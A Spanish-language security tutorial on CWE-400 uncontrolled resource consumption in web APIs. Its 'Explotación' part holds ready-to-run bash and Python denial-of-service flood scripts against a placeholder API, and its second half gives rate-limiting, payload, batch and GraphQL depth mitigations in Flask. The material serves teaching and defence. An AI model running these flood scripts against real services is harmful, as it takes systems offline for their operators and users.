Unrestricted Resource Consumption (DoS)
CWE: CWE-400 - Uncontrolled Resource Consumption
Problema: Falta de límites en requests, causando Denial of Service
Tipos de Resource Consumption
1. Rate Limiting Ausente
bash
# Sin límite de requests
for i in {1..10000}; do
curl "https://api.app.com/api/data" &
done
wait
# Servidor se cae2. Batch Operations Sin Límite
bash
# Eliminar 1 millón de records en un request
curl -X POST "https://api.app.com/api/delete-bulk" \
-d '{
"ids": [1,2,3,4,5,...,1000000] # 1M registros
}'
# Servidor consume CPU/RAM al máximo3. Large Payload Upload
bash
# Subir archivo de 100GB
curl -X POST "https://api.app.com/api/upload" \
-H "Content-Type: application/octet-stream" \
--data-binary @huge_file.bin4. Nested Object Expansion
graphql
# GraphQL - Recursión infinita
query {
user {
friends {
friends {
friends {
friends {
friends {
...
}
}
}
}
}
}
}5. Expensive Queries
bash
# Query muy cara que consume mucho CPU
curl -X POST "https://api.app.com/api/analytics" \
-d '{
"operation": "sum_all_transactions_for_all_users_for_all_time"
}'
# Ejecutar millones de veces en paraleloExplotación
bash
#!/bin/bash
# DoS attack script
target="https://api.app.com"
threads=100
duration=60
echo "[*] Iniciando ataque DoS contra $target"
echo "[*] Threads: $threads, Duración: $duration segundos"
# Función para enviar requests
attack() {
start=$(date +%s)
count=0
while [ $(($(date +%s) - start)) -lt $duration ]; do
curl -s "$target/api/data" > /dev/null 2>&1
((count++))
done
echo "[+] Thread completado: $count requests"
}
# Ejecutar en paralelo
for ((i=0; i<threads; i++)); do
attack &
done
wait
echo "[✓] Ataque completado"Python - Explotación Avanzada
python
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
def dos_attack(url, requests_per_thread=1000, threads=50):
"""
Ataque DoS mediante requests concurrentes
"""
def make_request(thread_id):
count = 0
errors = 0
try:
with requests.Session() as session:
for i in range(requests_per_thread):
try:
response = session.get(url, timeout=5)
count += 1
except Exception as e:
errors += 1
except Exception as e:
pass
return (thread_id, count, errors)
results = []
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(make_request, i) for i in range(threads)]
for future in as_completed(futures):
thread_id, count, errors = future.result()
print(f"[Thread {thread_id}] {count} success, {errors} errors")
results.append((count, errors))
total_success = sum(r[0] for r in results)
total_errors = sum(r[1] for r in results)
print(f"\n[✓] Total: {total_success} requests, {total_errors} errors")
# Ejecutar
dos_attack("https://api.app.com/api/data", requests_per_thread=500, threads=50)Mitigación
1. Rate Limiting
python
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"]
)
@app.route('/api/data')
@limiter.limit("10 per minute")
def get_data():
return jsonify({"data": "..."})2. Límite de Payload
python
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB máximo
@app.route('/api/upload', methods=['POST'])
def upload():
if request.content_length > 16 * 1024 * 1024:
return {"error": "Payload too large"}, 413
# ...3. Límite de Batch Operations
python
@app.route('/api/delete-bulk', methods=['POST'])
def delete_bulk():
ids = request.json.get('ids', [])
MAX_IDS = 100
if len(ids) > MAX_IDS:
return {"error": f"Maximum {MAX_IDS} IDs allowed"}, 400
for id in ids:
delete_record(id)
return {"deleted": len(ids)}4. GraphQL Limits
python
from graphql import parse
class QueryDepthValidator:
def __init__(self, max_depth=3):
self.max_depth = max_depth
def validate(self, query_string):
doc = parse(query_string)
depth = self._get_depth(doc.definitions[0].selection_set)
if depth > self.max_depth:
raise Exception(f"Query too deep (max {self.max_depth})")
def _get_depth(self, selection_set, current=0):
if current > self.max_depth:
return self.max_depth + 1
max_depth = 0
for selection in selection_set.selections:
if selection.selection_set:
depth = self._get_depth(selection.selection_set, current + 1)
max_depth = max(max_depth, depth)
return max_depthChecklist
- [ ] Rate limiting en todos los endpoints
- [ ] Límite de tamaño de payload (MAX_CONTENT_LENGTH)
- [ ] Límite en operaciones batch (máx registros)
- [ ] Timeout en queries
- [ ] GraphQL depth limit
- [ ] Monitoreo de CPU/RAM
- [ ] Alertas por tráfico anómalo